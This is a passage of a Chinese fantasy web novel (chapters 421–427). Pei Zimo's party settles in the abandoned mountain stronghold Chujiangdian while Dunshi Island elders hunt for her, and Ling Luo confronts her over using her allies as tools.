袁澈目送着她的身影消失,才重新看向圣湖,轻轻叹了口气。 裴子墨回到圣殿的时候,鬼卿已经把所有的东西都收拾好了,马车也备好了。她给圣殿的所有肉尸都吃了药,让他们恢复后自行离开,整个圣殿,这一次便是真的空了。 上了马车,裴子墨转头又看了看,才收回目光。 “有什么舍不得的,在这里也不过就是十几年。”凌珞靠在一边,“我在九幽圣谷上千年了,离开的时候,也没有你这么难舍。” “你以为谁都像你一样没心没肺么?”裴子墨看向他,他脸上依旧有些苍白没什么血色,“你有时间就多休息,少管闲事。” 凌珞闭上眼睛,“我要是你,我就把能烧的都烧了,绝对不给任何人留下一点点东西。” “那不如我们现在先去九幽圣谷放一把火。”裴子墨开口道。 凌珞轻笑了一声,顿了顿才道,“一个茅草屋,烧不烧的,关系不大。” 裴子墨没再理他,只是从马车里探出身子对鬼卿道,“按照我给你的路线,一直往西走。” 鬼卿点点头,“嗯,你也休息吧,有事我会叫你。” “真是贴心。”凌珞瞥了鬼卿一眼,打了个哈欠,闭上了眼睛。 第422章 楚江颠 寒羽不坐马车,一是不愿意跟凌珞呆在一起,最重要的,还是想跟着紫翅天鹏。 所以就他一个人坐着紫翅天鹏,他们的速度更快一些,有时候会跑出去玩一圈,再追上来。 裴子墨也提前“威胁”了一下,说如果他们跑丢了,她是不会去找他们的。 寒羽说凌珞喝过他的血,所以他能追踪到凌珞的气息,让裴子墨不用担心。 裴子墨隐约的觉得,寒羽一开始还是没办法追踪凌珞的,这也没过多久,看样子寒羽的术法也是在进步的。 只不过不等她问出口,寒羽就跳上紫翅天鹏的背,催促它赶紧走了。 “你说那里还有人么?”凌珞看着马车外面随口问道。 “也许……没有了。”裴子墨轻轻皱了下眉头,“你没有回去过么?” 凌珞摇了摇头,“只是很久以前,听凌幽提起过一次。不过……他好像也不怎么想要提起那里的事情。” 裴子墨垂下眼,没有说话。 楚星玄在他们两个之间打量了一会,才向凌珞问道,“这么说,你知道去哪。” 前几天寒羽和鬼卿也不是没有问过裴子墨到底要去哪,但是她都没有说,楚星玄是好奇,可是也知道问出来也不会有答案。 怪不得凌珞一直不问,原来是早就知道要去哪。 凌珞看了楚星玄一眼,“到了那,说不定有办法让你帮血域解决他们的麻烦。” 他这么一说,楚星玄就更好奇了,忍不住继续问,“你看你把地图给了鬼卿,鬼卿肯定也知道去哪,那不是说就只有我不知道?这不公平。” 裴子墨也没有继续隐瞒,“楚江颠。” 楚星玄皱起眉头,他完全没有听过这个地方,想了会道,“这……不会跟楚家有什么关系吧?” “想得可真多。”凌珞瞥了他一眼。 裴子墨笑着摇了摇头,“十殿阎王中的第二殿,便是楚江王。传说‘神冥公’一脉跟地府关系颇深,其中便是与楚江王的关系最好,一直受楚江王庇护,所以很早以前‘神冥公’一脉的人,便把自己生活的地方改了名字叫‘楚江颠’。”她说着看向凌珞,“不过,这传说是真的还是假的,那就不得而知了。” 凌珞没有回答,只是轻轻地摇了摇头。 “哦。”楚星玄点点头,“所以我们要去‘神冥公’一脉的老巢,我们为什么去那里?那里就不会被人找到了么?” “‘神冥公’一脉有他们自己的秘密,到了那你就知道了。”裴子墨说着顿了顿,“如果凌珞没醒,也没办法去那,所以看来有些事情还真是注定的。” “我又不是唯一的,我不去不也有别人能带你们去?”凌珞开口道,“就算白锦夜现在有别的事忙,那不是还有袁澈么?” 裴子墨看着他,大概也知道,他是猜到了自己之前离开,是去皇宫了,她捋了捋袖子,才说,“‘神冥公’一脉是姓凌,袁澈身为‘神冥公’一脉最为正统的后人,本来也应该姓凌,但你知道他为什么不姓凌么?” “这点小事……我懒得过问。”凌珞微微皱了下眉头,这么多年以来,北冥国的国君在他的眼里,不过都是工具,况且传来传去,他对这些后辈已经没什么兴趣了,甚至后来连北冥国的事情都很少管了。 如果不是后来有裴子墨的安排和出现,他基本上都是呆在九幽圣谷根本就不愿意出来。 “因为他也是遁世岛的人,是遁世岛那位‘神冥公’的首徒,袁姓是他师父给他取的,他觉得改姓凌是对他师父的不敬。”裴子墨开口道,“当年遁世岛出来围剿我的人,死了很多,有一部分人的魂魄被他们当场收走。” “但凡遁世岛的人,到了地府,都会收到非人待遇,所以他们的人若是死在了外面,同行的人就会在鬼差到来之前,赶紧把魂魄收起来。” “不过那一次死的人有点多,就难保有些人的魂魄没有被收起来,被赶来的鬼差带到了地府。” “那他恰好在这个时候出生,甚至转世在北冥国,成为国君,一定不是巧合吧?”凌珞轻笑道。 “是啊,哪有那么多巧合。”裴子墨转头看向车窗外,“所以他这一次要留在皇宫,等着遁世岛的人来,他有自己的事情要做。” 凌珞摩挲着手里的扇子,“我倒是很好奇,地府那边,支持你的人是谁。能安排这么多人的转世……不会是负责转世轮回的……”他说着停了下来,想要等裴子墨的回答。 裴子墨转头看了他一眼,微微笑了笑,“地府能在轮回转世上插手的,又不只是他一个人。再说,你看遁世岛不也插手了轮回转世的事情么?” 凌珞打开扇子扇了扇,眯眼打量了裴子墨一会,轻轻摇了摇头,“反正你永远也不会跟我说实话。”说完向后躺在软塌上,用扇子盖住了脸。 楚星玄听得模模糊糊,不过大部分也能联系起来,眼见着马车里面的气氛有点凝固,便想开口缓和下,“你在地府那边有关系啊?那要是我死了,你能不能帮我安排一下,下一世让我过得轻松一点,最好不要奋斗了的那种。” “你怎么知道你这世不是她安排的?”扇子下面传来凌珞的声音,“都被她拉上贼船了,还能脱得了干系么?我要是你,还不如问问上辈子做了什么欠她的事,这辈子就得这么往这件事上填命。” 楚星玄怔了下,看向裴子墨,“不是吧?我上辈子应该不认识你吧?”顿了顿,又问,“我不会也是要杀你的人,然后这辈子就得豁出命来帮你?” 裴子墨瞪了凌珞一眼,没有回答楚星玄的问题,只是轻声道,“凌珞,你这次醒了之后,变了。好像心里有一股怨气,是么?” 凌珞没有说话。 “你可以不用回答,怨气太重,即便你能隐藏怨气的气息,但也还是能从情绪上表现出来,你这几天说话都充满了火气。”裴子墨说着顿了顿,“怎么?我做了什么惹着你的事?” 第423章 这地方真是太安全了 扇子下面没了动静,凌珞也没有再说话。 裴子墨轻轻皱了下眉头,转头看向别处。 楚星玄觉得有点尴尬,轻咳了一声,掀开马车的帘子,坐到外面去跟鬼卿聊天了。 半响后,凌珞才开口低声道,“我只是一丝执念而已,你不用那么在意我。” 裴子墨看了他一眼,没说话,侧身靠在马车上,也闭上了眼睛。 这一路也没有什么急事,所以赶路的速度也不算快,走走停停,偶尔也会找个地方休息休息。 只不过从北冥国往西,基本上没有太多的人烟,尤其是裴子墨画出的这条路线,都很难碰到一个人。 等他们到楚江颠的时候,众人几乎都被眼前的景象吓到了。 楚江颠是一座高耸的山峰,但是四周均是悬崖峭壁,把自身和外界完全隔离开,悬崖之下,深不见底,也没有桥梁可以通过去。 鬼卿轻轻皱起眉头,他曾经也生活在九域十二颠,不过因为他的身份问题,从来没有离开过圣女一脉生活的地界,自然也不知道楚江颠原来是这样的情况。 “所以这里是要让我把黄泉路引出来,从黄泉路上走过去?”凌珞下了马车,开口问道,“不过你们好像也走不了黄泉路,让我背你过去没问题,其他人……”他顿了顿,看着天上坐在紫翅天鹏的背上的寒羽道,“让他背吧。” “我们不可以坐在鸟背上飞过去么?”楚星玄的话说完,还不等裴子墨回答,紫翅天鹏就带着寒羽落了下来。 紫翅天鹏站在一边梳理羽毛,寒羽往前走了几步,“它说飞不过去了,问要怎么过去。” 凌珞转头看了眼紫翅天鹏,“寒羽背其他人应该没问题,但是恐怕背不动这只鸟吧?”沉默了会,他看向裴子墨,“还是你知道怎么过去?” 裴子墨笑了笑,“当年的‘神冥公’一脉,也不是与世隔绝,自然有办法能让其他人走过去。琼华山那里,应该就是凌幽仿照这里而建,只不过有些东西没有办法复现,所以只能是简化版的楚江颠。” “之前说,琼华山那里形成的原因,跟那块华精玉有关,后来用了那块华精玉,我们在后山那里,能够下到那个断崖下面,这里不会也有华精玉吧?”凌珞开口问道。 “当年第一任神冥公从地府拿出了一块华精玉,也就是后来凌幽手上的那块。不过确切的说,传下来的华精玉,只是最开始的一部分,至于第一任神冥公到底从地府拿出了多大的一块华精玉,可没人知道。”裴子墨说着往前走了一段,仔细地看了半响,指着一个位置对凌珞道,“你从这里引出黄泉路,让黄泉路跨越这里,接到对面。” 凌珞依言而做,在他的黄泉路碰触到对面的一瞬间,便听到轰隆隆的声音,随即一座石桥从对面延伸过来,覆在了凌珞的黄泉路之上。 “走吧。”裴子墨看着凌珞开口道,“这可毕竟是‘神冥公’一脉最早的居所,你不想过去看看么?” 凌珞抱着肩膀看着裴子墨,“说实话,并不想。” “快走快走,我们先去。”寒羽招呼着紫翅天鹏就往桥上走去。 寒羽本来就是地府的,所以跟地府有关的东西,对他来说就比较亲切,见其他人不着急走,他却是都已经有些迫不及待了。 他们两个先上了石桥,裴子墨便也跟了上去。 凌珞轻轻皱了下眉头,让开身,看着楚星玄和鬼卿赶着马车走上去,他才走在了最后面。 等过了石桥,凌珞收回黄泉路,石桥也跟着一起收了回来。 “看样子这个地方真是太安全了。”楚星玄开口道,“就算我爹他们找我找到这里,也只能眼睁睁地看着我一点办法都没有。” 他说完四下看了看,“不过这里,好像有点荒凉了吧?” 这里的地面,隐约还能看得出来,是铺着青砖,可现在这青砖都已经被草覆盖,四处都已经看不出原来的样子。 “这里应该是真的很多年没有人来过了。”鬼卿开口道。 裴子墨点点头,“‘神冥公’一脉本来就人数稀少,凌幽建立北冥国之后,这里就没什么人了。”她说着转头看了凌珞一眼,“凌幽离开这里,或许另有隐情。这里毕竟是你们祖辈都生活的地方,他就算不再留在这里,也总会偶尔回来看看,甚至也应该带你回来认祖吧?” 凌珞没有接这个话,只是问,“你来过这里?” “有幸来过,不过我来的那会,这里虽然没什么人,可也还有烟火气。”裴子墨开口道。 凌珞看杂草的目光收回来,盯着裴子墨看了会才道,“我感觉你现在的记忆应该恢复十之八九了吧?” 裴子墨微微抿了下唇,这一次也没有再搪塞什么,直接回道,“基本恢复了。” “恭喜。”凌珞说了句,便当先往前走。 鬼卿的目光在两个人的身上转了转,没有动,等裴子墨往前走,他才跟在了她的后面。 杂草很高,几个人费了不少力气才走到大殿。 大殿的石柱看着有五六丈高,因为太多年没有人气,又被杂草和树木挡去了阳光,看着多少是有些阴森。 楚星玄抱着肩膀打了个哆嗦,“这地方……怎么跟阴间似的。” “这里可能本来就是想要打造成地府的样子。”裴子墨开口道,“‘神冥公’可以游走阴阳二界,去过地府,看过地府十殿阎王的大殿,听说这里便是模仿某一殿而建。”她抬手指了指,“包括这些柱子上的雕刻的画像。” 寒羽听着裴子墨的话,皱了皱眉,像是想到了什么,但犹豫了一会,也没说什么。 “一起把这里打扫一下吧。”裴子墨开口道,“未来一段时间,咱们都得住在这了。” “早知道你应该带过来点肉尸啊。”楚星玄开口道,顿了顿,他摸了摸下巴,“这附近也不知道有没有尸体啊。” “这附近就算有尸体,那也是他们家的,你要控制人家也得问过他们后人同不同意吧?”裴子墨抬手指了指凌珞,“再说,过去这么多年,骨头都烂没了。” 几人说话间,寒羽走到一个柱子旁,抬手摸着上面已经不太清楚的石刻,那石刻上,正是修罗的形象。 第424章 我还能回遁世岛么? 裴子墨等人把常用的地方收拾好的时候,遁世岛的人也到了,从血域问到了楚星玄的消息后,先到了暗城。 楚云颂不知道面前的几个人是什么来历,上来就直接问楚星玄和裴子墨的事,他一时之间也不敢实话实说,正来回拉扯着,锦成便快步走了过来。 “爹,爹。”锦成进了门,脸上带着欣喜,“爹,你终于来了。” 楚云颂一愣,看了看锦成,又看了看凌霄,收回目光,低头喝茶,没有说话。 凌霄转头看过去,锦成的长相让他愣了半响,差点就以为是白锦夜。 他拧着眉,目光在锦成的身上转了一圈,眼底闪过一丝凉意,随即才站起身迎过去,“你怎么会在这?你不是……” “爹,此事说来话长。”锦成说着看向另外两个人,“二伯,九叔。” 二长老应了一声,用茶杯盖扫了扫茶碗里的浮茶,扫了楚云颂一眼,才开口道,“老六,你们父子相见,必然有很多话要说,但是就不要让外人看笑话了。” “哪有哪有?”楚云颂笑道,“锦成在我这里已经住了不少日子,都是自己人了。”顿了顿,他才又道,“不然我给几位安排个住处,以便锦成父子叙旧?” “不必了。”二长老摆了摆手,“既然你不拿锦成当外人,便告诉我们裴子墨和楚星玄的下落。” 楚云颂从锦成的称呼上,当然猜到了这几位就是锦成说的他在遁世岛的亲戚,之前这几人没讲明身份,他当然不愿意合作,如今已经确定,便没有什么顾虑了,“不瞒几位,之前你们问起我这儿子的事,我不说,是因为我这儿子从小就不让人省心,我怕他在外面又惹了什么麻烦。” “我那儿子之前跟我闹了些矛盾,离家出走了,我也是找了很久,不久之前还是裴子墨告诉我,他在血域。” “荒谬!”九长老拍了下桌子,“我们刚从血域过来,血域的人说楚星玄早就跟着裴子墨一起走了。” “那看来,裴子墨也是在骗我了。”楚云颂苦笑了一声,之前他已经让文之松去了血域,可是他们知道的路,只是到血域外围,文之松也不敢太深入血域,在那里等了许久也不见有血域的人在外面走动,文之松就先回来了,所以裴子墨当时说楚星玄在血域的事,他也没办法求证。 “那不如这样吧。”见到那九长老都要动手了,楚云颂赶紧继续道,“我带你们到圣殿去找裴子墨吧。” “啰啰嗦嗦。”九长老站起身,“赶紧带路。” 楚云颂看了锦成一眼,锦成对他微微点点头,表示自己还记得答应他的事情,让他放心。他也就站起身,带着几个人出了暗城。 锦成跟着凌霄走在最后面,和前面的人拉开了一些距离。 其他人也知道这对父子是有话要说,自然也不会不识趣的来打扰。 凌霄轻咳了一声,低声问,“你见过裴子墨了?” 锦成点点头,“见过了,不过她这一世,好像普普通通的,术法上造诣并不高。” “不高?”凌霄转头看了他一眼,“你的术法就高了?” 锦成挠了挠头,“爹,我的术法被封印住了,我倒现在也没办法冲开,你能不能帮帮我……” “帮不了。”凌霄拧了下眉,又问,“你是怎么记得前世的事的?” “我根本就没忘啊。”锦成开口道,“我一直都记得。” 凌霄看了他一眼,若是正常的轮回转世,锦成不可能还记得前世的事情,所以是有人故意安排了他记得所有的事情,而且……甚至连长相都和白锦夜一模一样,这未免就……别有用心了。 看样子,地府那边也不是铁桶,有人帮裴子墨,也有人帮遁世岛啊。 他沉默了会,继续问,“那你也见过你弟弟了?他们知道你还记得前世的事情么?” 锦成摇了摇头,“没有,我没跟他们说起过。毕竟……前世的那些事,他们若是知道了我的身份,可能会对我下杀手的。” 凌霄看着前面,裴子墨什么都没有跟白锦夜说过,白锦夜可能确实不知道锦成的事情,但是裴子墨自己不可能不知道。 她自己的气息泄露出来,血域那边也没有特意安排,就证明她知道他们会查到这,会见到锦成。 她也没有处理掉锦成,像是故意留着锦成来见自己。 “爹,你们这次打算在这里呆多久?什么时候回去?能带我一起回遁世岛么?”锦成又问。 “你说呢?”凌霄转头看他,“你这低微的术法,进得去遁世岛么?” “再怎么说,我前世也是因为遁世岛的事才死的,就算没有功劳,也有苦劳吧?遁世岛没有把我的魂魄收回去,让我去地府走了一遭,如今好不容易转世,遁世岛就真的不管我了么?”锦成皱起眉头,“爹,你可是遁世岛的六长老,你也不管我了么?” “说了不管你么?”凌霄瞪了他一眼,“你不要乱说话,免得被人抓住把柄,若是被认为你和地府那边有勾结,那可就真的再也回不去遁世岛了。这段时间你就给我老老实实的,不要节外生枝,等回去的时候,我会想办法带上你的。” 锦成闻言,才露出喜色,“那我的术法……” “再想办法吧。”凌霄开口道。 “爹,我知道你们还是要找裴子墨,她现在术法低微,肯定不是你们的对手,我在她身上感受到了血莲的气息,如果你们抓到她,我和她……血莲应该就能帮我冲开术法的封印。”锦成又道,“爹,反正裴子墨被你们抓回遁世岛就是要死,不如死之前先帮帮我?” 凌霄垂着眼,眼里闪过怒意,隔了半响才道,“关于裴子墨你就不要想了,她的事情干系重大,你不要牵扯上去。” 锦成张了张嘴,还想说什么,但是犹豫了会,嘴边的话又咽了回去,朝前看了楚云颂一眼,他知道凌霄一直胆小,不会做出什么出格的事情,他再怎么求他帮忙他都不会心软,看样子这件事还是要指望楚云颂了,毕竟……去遁世岛对他这种人来说,诱惑实在是太大了。 第425章 国君能控制圣女 到了圣殿,不用进去,几人便知道这圣殿里没有一丝活人的气息。 二长老眯眼看着眼前高高长长的台阶,“这是要走上去?” 楚云颂干笑了一声,“这圣殿是圣女的地方,应该是有什么捷径上去,只不过……我不知道。” 二长老瞥了他一眼,自然也没在这件事上指望他。眯眼四处看了一圈,从术法的波动上也感受到了什么,正要走过去,却转头朝另外一个方向看去。 那边袁澈不紧不慢地朝他们走过来。 楚云颂看向袁澈,轻轻皱起眉头,他已经很久没见过袁澈了,之前的好长一段时间,袁澈应该都不在北冥国内,怎么在这个时候突然就出现了?他思索了一会,还是介绍道,“这是我们北冥国国君。” 二长老对其他的人显然是不感兴趣,也不想理会。 倒是袁澈走过来,和楚云颂简单地聊了几句,得知他们的目的之后,便开口道,“我也刚好是来圣殿找子墨,那不如一起上去吧。” 说完便当先走在前面,带着几个人往后面走。 把几个人带到圣殿的正殿,袁澈坐在了主位,“看样子,子墨是不在,几位找她有什么事,跟我说也无妨。” “国君,这圣殿好像有点不对。”楚云颂先开了口,“以往圣殿里有不少肉尸,可现在……太冷清了。” “哦?”袁澈往外面看了看,又笑道,“你不说我还真没发现,不过……我之前出去办事,这两天才刚刚回来。”他说着看向楚云颂,“城主,我不在的这段时间,没发生什么事吧?” 楚云颂摩挲了下手指,微微摇了摇头,之后转头看向遁世岛的几人,“看样子,这圣女确实不在。几位若是有什么事,不如跟我们国君说。”他说着顿了顿,又补充,“圣女世世代代归国君管辖,若是紧急的事情,国君自然有办法找到圣女……甚至是控制圣女。” “你的话是不是有点多了?”袁澈眯眼看着楚云颂。 楚云颂干笑了几声,反正要说的话已经说完,他也就垂下眼,不再说话了。 “既然如此,那我们便直说了。”二长老看向袁澈,“这裴子墨本身就是我们遁世岛的人,她是从遁世岛逃出来的,我等奉命把她抓回去。你若是能帮忙,就算我们欠你个人情。” “遁世岛?”袁澈皱起眉头,像是想了好一会,才慢声道,“这名字听着倒是挺熟悉……可子墨从小就生活在圣殿,怎么可能是从其他地方逃出来的?” “这你就不用管了。”二长老拧起眉,脸上已经有不耐烦的神色。 袁澈笑了笑,“子墨毕竟是我北冥国的圣女,就算真的有什么事,我也不可能随意的把她交给别人处置。再说……就算我想帮忙,恐怕也无能为力,毕竟我即便能控制她,这也是有范围限制的,她只要不在北冥国的范围之内,我就没办法控制她。” 二长老思索片刻,他自然能感受到袁澈的术法,以他现在这低微的术法来说,控制术的范围必然有限,他的话应该不是骗人的。 他抬手轻轻敲了敲桌面,“既然她如今是你北冥国的圣女,那就早晚都会回来,反正我们也没有别的事,就暂时留在这,若是你们有她的消息,便通知我们。”说完也不给任何人面子,转身就往外走。 九长老也站起身,“我们遁世岛向来说话算数,只要你们能帮我们找到人,我们绝不会亏待你们。”说完也跟着离开了。 袁澈没有理会他们,只是看向楚云颂。 楚云颂被他盯得发毛,便起身说暗城还有事,要先走了,走到门口,又叫上锦成,说锦成毕竟在他那住了不少日子,有些话想跟锦成说。 大殿上很快就剩下袁澈和凌霄两个人。 袁澈站起来,看着是打算要离开,但是走到凌霄面前,又停了下来,他看着大殿外面,声音极低,“师父。” 凌霄一怔,他并没有在袁澈的身上感受到任何熟悉的气息,“阿澈,是你?” 袁澈依旧看着外面,“子墨让我帮她,我想……师父你都帮过她了,那我帮她应该不会有错吧?” 凌霄朝外面看了看,脸上带着警惕,“她在哪?” “我不知道。”袁澈说着顿了顿,“但如果我知道的话,师父,我应该怎么做?” “你都说了你不知道,不知道就是不知道。”凌霄皱起眉头,“她帮你隐掉了魂魄上的气息?” “是。”袁澈点点头,“不只是隐藏掉了魂魄上的气息,还封印了我的记忆和术法,我也是不久之前,才在她的指点下,破开了封印记忆的术法,但术法目前还不行。” 凌霄微微点点头,裴子墨隐去了袁澈魂魄的气息,却没有隐去锦成的,这种区别对待,自然也是告诉他袁澈已经成了她的人,但锦成没有。 或者说,锦成确实不在她的安排之中。 所以她就把锦成送到了他面前,让他自己来处理。 “你少露面就是,别让别人看出异常。”凌霄说着也看向外面,“那个楚云颂,到底是什么人?他的魂魄气息很复杂。” “应该不能算是好人吧。”袁澈简单地道,随即转身看向凌霄,“师父,你知道裴子墨要做什么是么?你一直在帮她,哪怕不惜搭上亲人的性命。当初说是她把锦夜从遁世岛带走,实际上应该不是这样吧?锦夜是你送到她身边帮她的是么?” “有些事你不知道,便永远不要知道,对你没有好处。”凌霄站起身,“别和我相认,别再提遁世岛,好好过你自己的日子。” “遁世岛的规矩,若是有人死在外面,同伴要在鬼差到来之前,及时收回魂魄。那一次围剿裴子墨,提前便已经说好,自家人要负责收回自家人的魂魄。但是……咱们这边,有不少魂魄都没有被收回,那一战,也是咱们这边的人死的最多。也是你有意安排的么?”袁澈继续问道。 第426章 最可怕的是伪善 凌霄拧着眉,没有回答袁澈的问题,只是说,“最近没什么事,你不要来这边。”说完也不再理会他,迈步离开了大殿。 袁澈看着凌霄的背影,轻轻抿了抿唇,随后便离开了圣殿。 凌霄走到外面,咳了一声,“锦成,说完了么?” “说完了。”锦成看了楚云颂一眼,赶紧走到凌霄的身边,“爹。” 凌霄带着他往前走,“那个楚云颂,跟你说了什么?” “爹,之前遁世岛不是发布了任务么?他是想……看看有没有机会完成那任务,毕竟谁不想成仙呢?”锦成说着瞥了楚云颂那边一眼,“你放心,我肯定不会让他添乱的。”顿了顿,他压低了声音,“爹,其实想要找到裴子墨,也不是没有别的办法。” “她应该挺在乎锦夜的,锦夜现在什么都不知道,对他这一世的亲人很在乎的。他的外公就在复州,只要我们去复州,控制了他这个外公,锦夜就一定会出来,那裴子墨肯定不会坐视不理,到时候……” 凌霄轻笑了一声,“这么简单的事,你觉得裴子墨自己想不到么?我们前段时间已经来过一次了,抓到了锦夜,人都快带回遁世岛了,裴子墨也没出现。” “啊?”锦成愣了一下,“你们……把他带回去了?” 凌霄摇了摇头,“出了纰漏,人跑了。” “是不是裴子墨帮了忙?”锦成说完又自己否认,“应该不是,以她现在的术法,没办法从你们的手上抢人。” 凌霄没有直接回答这个问题,只是说,“上一次就因为这个,裴子轩落了个办事不力的罪名,至今还在被关禁闭。所以这件事,你也不要插手太深,知道么?” “裴子轩……”锦成无奈地摇了摇头,“他可真是成事不足败事有余。” 凌霄转头瞪了锦成一眼。 锦成赶紧笑了笑,“爹,你放心,我肯定不会像裴子轩那样给你惹一堆烂摊子的。” 凌霄没再说话,心里却暗暗地叹了一口气,锦成如今出现,就已经是要收拾的烂摊子了啊。 * 楚江颠上,每个人都忙着自己的事情。 寒羽和紫翅天鹏到处跑,说是为了了解新环境,不过每隔一段时间,裴子墨就能感受到他们两个的变化。 紫翅天鹏是因为丹药还在慢慢的吸收,能力提升是必然的,倒是寒羽,怎么提升术法的,就不得而知了。 楚星玄每天继续研究养蛊之事,裴子墨教了他两首曲子,他算是勉强能连贯地吹奏,不过距离控制蛊虫还要差不少。 鬼卿出来之前,就从圣殿拿了几本书,这几天都是认真地看着这些书。 裴子墨也有不少事情要做,从来都没有闲着。 剩下凌珞一个人,每天不是靠在树上晒太阳,就是坐在大殿里发呆。 “你到底怎么了?”裴子墨终于得了一丝空闲,见凌珞又靠在树上看着远处出神,便从地窖里翻出了两坛酒走了过去。 她在凌珞的旁边坐下,靠在树干上,抬头看了看天,递给他一坛酒,“整天都是生无可恋的样子,以前的你可从来都不会这样。” 凌珞接过酒坛,打开盖子,喝了一口,才道,“就是明明已经准备好死了,突然又没死,总感觉哪里怪怪的。” “怎么?活过来,你好像挺失望的?”裴子墨拿着酒坛,只是闻了闻,却没有喝。 “确实。”凌珞顿了顿,“你不该救我。” 裴子墨看着远处,“话藏在心里,舒服么?” “你不是一样藏了很多话?”凌珞转头看她,“起码要比我藏得更多,你舒服么?” 裴子墨没有说话。 凌珞便慢慢地喝着酒坛里的酒,喝了一半,才开口道,“我以前以为,我虽然是他身上剥离出来的执念,但是我也有着他的记忆。不过我突然发现,我确实只是一丝执念而已,很多的记忆,我其实是没有的。” “执念能记住的,都是让这丝执念诞生的记忆,更多的,与执念无关的记忆,根本就没有。这一次,我在他的身上,用作为一个完整的人的角度,看到了更多的事情。” “裴子墨。” 凌珞拿着酒坛的手微微紧了紧,“我后悔了。” “你说,如果白锦夜想起所有的事情之后,他会后悔帮你么?” “你有时候说,多做善事,可你自己是个好人么?你做的事情……” “凌珞。”裴子墨打断他的话,“你已经不是执念了,你自己说了,你是一个完整的人,你有分辨善恶的能力,也有选择自己想做的事的权利。” “呵。”凌珞轻笑了一声,摇了摇头,“不,我说错了,我不是一个完整的人。我依附你而生,即便知道有些事可能是错的,可我也没办法说服自己不再管你。所以我觉得……你不该救我,若是我之前死了,我就什么都不知道,我觉得一切都是值得的。我连魂魄都留不下,永远都不会知道这些。” “我也做过错事,那些年,为了让你复生,我做了不少伤天害理的事情。” “怪不得你从来不提这些,只是因为这些事在你眼里,什么都不算。” 他抬手往前指了指,“鬼卿,楚星玄,寒羽,还有更多的人,像是袁澈……所有的人,在你眼里是什么?是随时可以牺牲的工具?是微不足道的蝼蚁?裴子墨,一个纯粹的恶人并不可怕,可怕的是你表面上的伪善。” “看似你帮了他们,却全都是你能牵制他们的原因,哪怕现在让他们为你去死,他们可能都不会皱一下眉头。可是假设他们真的死了,假设我也真的死了,你心里真的会有一丝丝的难过么?” “你不会,你只是觉得,我们实现了我们的价值,我们帮了你,我们为你而死,就是我们存在在这个世界上,最大的意义。” “对不对?” 裴子墨垂下眼,隔了会才道,“如果你是这样认为,如果你不愿意再跟我走这条路,你可以离开。” “你一句解释的话都不想说么?”凌珞看着她问道。 裴子墨笑了笑,“我没什么解释的。” “那白锦夜呢?你名义上是保护他,但实际上真的是么?”凌珞又问,“他在你心里,和我们一样只是工具,还是你真的喜欢他?” 第427章 上一世白锦夜为什么要杀你? 裴子墨吸了一口气,半响才道,“以前我受七情六欲所累,所以这一世,我最先做的,就是把这些都剥离出去。” “那就可以没有人性么?”凌珞突然低吼了一声,“裴子墨,你根本就不用剥离你的七情六欲,那些影响不了你什么,前几世,该做的不该做的,你可一样没手软。” “你没有资格这样说我。”裴子墨皱了下眉,放下酒坛,“你可能只是刚醒来,这段时间在这里,就好好休息吧。” 凌珞也跟着站起身,“在山洞的时候,你不是说我知道的太多,想要杀了我么?那会你就应该知道了我在白锦夜的身上都看到了什么,如果不是你突然昏迷,恐怕我已经死了,现在呢?不打算再杀我了么?” 裴子墨抬手揉了揉眉心,脸上露出几丝倦意,“凌珞,有很多事……”她说着顿了顿,“没必要非得分个对错黑白。” 凌珞举起手,“那我们最好现在就把共命解除掉,不然你哪天忍不住想杀了我的时候,可能要搭上自己了。又或者,我没办法直接杀了你,但我可以自杀,到时候你一样得跟我一起死。” 裴子墨转身看着他,“共命这个念头,当时你是怎么想的?” “你哭着问我,你会不会死,那些坏人会不会杀了你。我说你放心,只要我活着,就没人会伤害你。可你不放心,你说以前有人也这样说,可他们还是没有办法保护你,甚至有的时候,在危险面前,扔下你跑了。” “我从来没有想过这么多,我没有想过这些都是你安排的,我以为你只是正常的转世,忘了以前的一切,一切从头开始,你和这世上其他的小女孩没什么区别。” “我为了证明我不会扔下你跑了,就用了共命这个术法。” 凌珞说着轻笑了一声,“不过现在想一想,那时候你是故意的吧?就算你不记得什么,你也应该知道,是要故意引导我往共命这个术法上想,是么?” “是。”裴子墨点点头,正要再说话,眉头却突然皱起来,紧接着就抬手扶着树干,慢慢地蹲了下去,脸上的表情也逐渐痛苦地扭曲。 凌珞自然知道这是什么情况,他养过血莲,当血莲需要血来喂养的时候,就会牵扯着全身的经脉,让人痛不欲生。 按照鬼卿说过的,裴子墨大半年的时间都没有见过白锦夜了,自然也没人喂养血莲。 他垂眼看着裴子墨,半响后,微微侧过身,“如果没有血来喂养血莲,它就会从你的身上汲取养分,你的血它也没办法吸收,可它还是会不断的抽取你身上所有能抽取的力量。这过程很漫长,最终……血莲沉睡,你也会跟着陷入昏迷,再然后,血莲枯萎,你就永远都醒不过来了。” 裴子墨全身都疼,在地上蜷缩成一团,她听到了凌珞的话,显然他此刻根本没有喂养血莲的想法。 她摸索着,从口袋里摸出装着血莲晶露的瓷瓶,只是还没打开,瓷瓶就被人抢走,远远地扔开,她咬了咬牙,瞪着他,“凌珞……” “反正有我陪着你一起死,不是么?”凌珞说着重新靠着树干坐下,又扶着裴子墨让她靠在了自己的怀里,“血莲也是我亲手种到你身体里的,这也许就是宿命。” “凌珞,你以为我死了,事情就结束了么?”裴子墨用力地抓着他的胳膊,“你别太天真了!” “起码这一世结束了,起码……以后再怎么样,我都看不见了。”凌珞说着死死地禁锢住裴子墨,抬眼看着远处。 片刻后,鬼卿快步赶了过来,“发生什么事了?” “滚开!”凌珞抬眼看过去。 鬼卿看了看裴子墨,刚刚便是她召唤了他,他眯了眯眼,又往前走了几步,“她怎么了?” “你能控制他,我也能控制他。”凌珞轻笑了一声,“子墨,你想让他也跟着一起陪葬么?” 他眯眼看着鬼卿,片刻后,鬼卿就面无表情地退开。 凌珞闭上眼睛,他能感觉到,裴子墨对疼痛的反应越来越小,抓着他的手也再没有之前那么用力,连他自己也开始有阵阵的虚弱。 他知道只要他狠心继续下去,他和裴子墨昏迷之后,这里便没人知道他的血可以温养血莲,他们也没有办法离开这里求援,所有的事情就都结束了。 半响后,他突然轻笑一声,用拳头狠狠地砸了一下地面,随即抽出了裴子墨腰间的七杀斩。 裴子墨甚至已经连睁开眼睛的力气都没有了,但也还是感觉到微热的血流到了她的肩头,随即身上的力气开始逐渐恢复。 过了许久,直到血莲不再吸血,凌珞才放开手,仰头靠在树干上,整个人像是被抽干了力气,最后轻声道,“把共命解开吧,我还是舍不得你死,但我……也不想再活着不想再帮……助纣为虐了。” 